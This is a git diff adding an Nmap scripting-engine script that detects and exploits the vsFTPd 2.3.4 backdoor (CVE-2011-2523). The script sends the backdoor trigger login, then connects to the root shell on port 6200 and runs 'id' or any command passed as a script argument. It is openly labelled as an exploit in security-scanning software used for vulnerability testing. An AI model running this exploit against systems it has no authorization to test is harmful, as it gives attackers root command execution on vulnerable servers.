summaryrefslogtreecommitdiffstats
path: root/scripts/ftp-vsftpd-backdoor.nse
diff options
context:
space:
mode:
Diffstat (limited to '')
-rw-r--r--scripts/ftp-vsftpd-backdoor.nse193
1 files changed, 193 insertions, 0 deletions
diff --git a/scripts/ftp-vsftpd-backdoor.nse b/scripts/ftp-vsftpd-backdoor.nse
new file mode 100644
index 0000000..6b79df8
--- /dev/null
+++ b/scripts/ftp-vsftpd-backdoor.nse
@@ -0,0 +1,193 @@
+local ftp = require "ftp"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local vulns = require "vulns"
+
+description = [[
+Tests for the presence of the vsFTPd 2.3.4 backdoor reported on 2011-07-04
+(CVE-2011-2523). This script attempts to exploit the backdoor using the
+innocuous <code>id</code> command by default, but that can be changed with
+the <code>exploit.cmd</code> or <code>ftp-vsftpd-backdoor.cmd</code> script
+arguments.
+
+References:
+
+* http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
+* https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
+* http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=CVE-2011-2523
+]]
+
+---
+-- @usage
+-- nmap --script ftp-vsftpd-backdoor -p 21 <host>
+--
+-- @args ftp-vsftpd-backdoor.cmd Command to execute in shell
+-- (default is <code>id</code>).
+--
+-- @output
+-- PORT STATE SERVICE
+-- 21/tcp open ftp
+-- | ftp-vsftpd-backdoor:
+-- | VULNERABLE:
+-- | vsFTPd version 2.3.4 backdoor
+-- | State: VULNERABLE (Exploitable)
+-- | IDs: CVE:CVE-2011-2523 BID:48539
+-- | Description:
+-- | vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.
+-- | Disclosure date: 2011-07-03
+-- | Exploit results:
+-- | The backdoor was already triggered
+-- | Shell command: id
+-- | Results: uid=0(root) gid=0(root) groups=0(root)
+-- | References:
+-- | https://www.securityfocus.com/bid/48539
+-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
+-- | http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
+-- |_ https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
+--
+
+author = "Daniel Miller"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"exploit", "intrusive", "malware", "vuln"}
+
+
+local CMD_FTP = "USER X:)\r\nPASS X\r\n"
+local CMD_SHELL_ID = "id"
+
+portrule = function (host, port)
+ -- Check if version detection knows what FTP server this is.
+ if port.version.product ~= nil and port.version.product ~= "vsftpd" then
+ return false
+ end
+
+ -- Check if version detection knows what version of FTP server this is.
+ if port.version.version ~= nil and port.version.version ~= "2.3.4" then
+ return false
+ end
+
+ return shortport.port_or_service(21, "ftp")(host, port)
+end
+
+local function finish_ftp(socket, status, message)
+ if socket then
+ socket:close()
+ end
+ return status, message
+end
+
+-- Returns true, results if vsFTPd was backdoored
+local function check_backdoor(host, shell_cmd, vuln)
+ local socket = nmap.new_socket("tcp")
+ socket:set_timeout(10000)
+
+ local status, ret = socket:connect(host, 6200, "tcp")
+ if not status then
+ return finish_ftp(socket, false, "can't connect to tcp port 6200")
+ end
+
+ status, ret = socket:send(CMD_SHELL_ID.."\n")
+ if not status then
+ return finish_ftp(socket, false, "failed to send shell command")
+ end
+
+ status, ret = socket:receive_lines(1)
+ if not status then
+ return finish_ftp(socket, false,
+ string.format("failed to read shell command results: %s",
+ ret))
+ end
+
+ if not ret:match("uid=") then
+ return finish_ftp(socket, false, "service on port 6200 is not the vsFTPd backdoor: NOT VULNERABLE")
+ end
+
+ vuln.state = vulns.STATE.EXPLOIT
+ table.insert(vuln.exploit_results,
+ string.format("Shell command: %s", CMD_SHELL_ID))
+ local result = string.gsub(ret, "^%s*(.-)\n*$", "%1")
+ table.insert(vuln.exploit_results,
+ string.format("Results: %s", result))
+
+ if shell_cmd ~= CMD_SHELL_ID then
+ status, ret = socket:send(shell_cmd.."\n")
+ if status then
+ status, ret = socket:receive_lines(1)
+ if status then
+ table.insert(vuln.exploit_results,
+ string.format("Shell command: %s", shell_cmd))
+ result = string.gsub(ret, "^%s*(.-)\n*$", "%1")
+ table.insert(vuln.exploit_results,
+ string.format("Results: %s", result))
+ end
+ end
+ end
+
+ socket:send("exit\n");
+
+ return finish_ftp(socket, true)
+end
+
+action = function(host, port)
+ -- Get script arguments.
+ local cmd = stdnse.get_script_args("ftp-vsftpd-backdoor.cmd") or
+ stdnse.get_script_args("exploit.cmd") or CMD_SHELL_ID
+
+ local vsftp_vuln = {
+ title = "vsFTPd version 2.3.4 backdoor",
+ IDS = {CVE = 'CVE-2011-2523', BID = '48539'},
+ description = [[
+vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.]],
+ references = {
+ 'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html',
+ 'https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb',
+ },
+ dates = {
+ disclosure = {year = '2011', month = '07', day = '03'},
+ },
+ exploit_results = {},
+ }
+ local report = vulns.Report:new(SCRIPT_NAME, host, port)
+
+ -- check to see if the vsFTPd backdoor was already triggered
+ local status, ret = check_backdoor(host, cmd, vsftp_vuln)
+ if status then
+ return report:make_output(vsftp_vuln)
+ end
+
+ -- Create socket.
+ local sock, code, message, buffer = ftp.connect(host, port,
+ {request_timeout = 8000})
+ if not sock then
+ stdnse.debug1("can't connect: %s", code)
+ return nil
+ end
+
+ -- Read banner.
+ if not code then
+ stdnse.debug1("can't read banner: %s", message)
+ sock:close()
+ return nil
+ end
+
+ status, ret = sock:send(CMD_FTP .. "\r\n")
+ if not status then
+ stdnse.debug1("failed to send privilege escalation command: %s", ret)
+ return nil
+ end
+
+ stdnse.sleep(1)
+ -- check if vsFTPd was backdoored
+ status, ret = check_backdoor(host, cmd, vsftp_vuln)
+ if not status then
+ stdnse.debug1("%s", ret)
+ vsftp_vuln.state = vulns.STATE.NOT_VULN
+ return report:make_output(vsftp_vuln)
+ end
+
+ -- delay ftp socket cleaning
+ sock:close()
+ return report:make_output(vsftp_vuln)
+end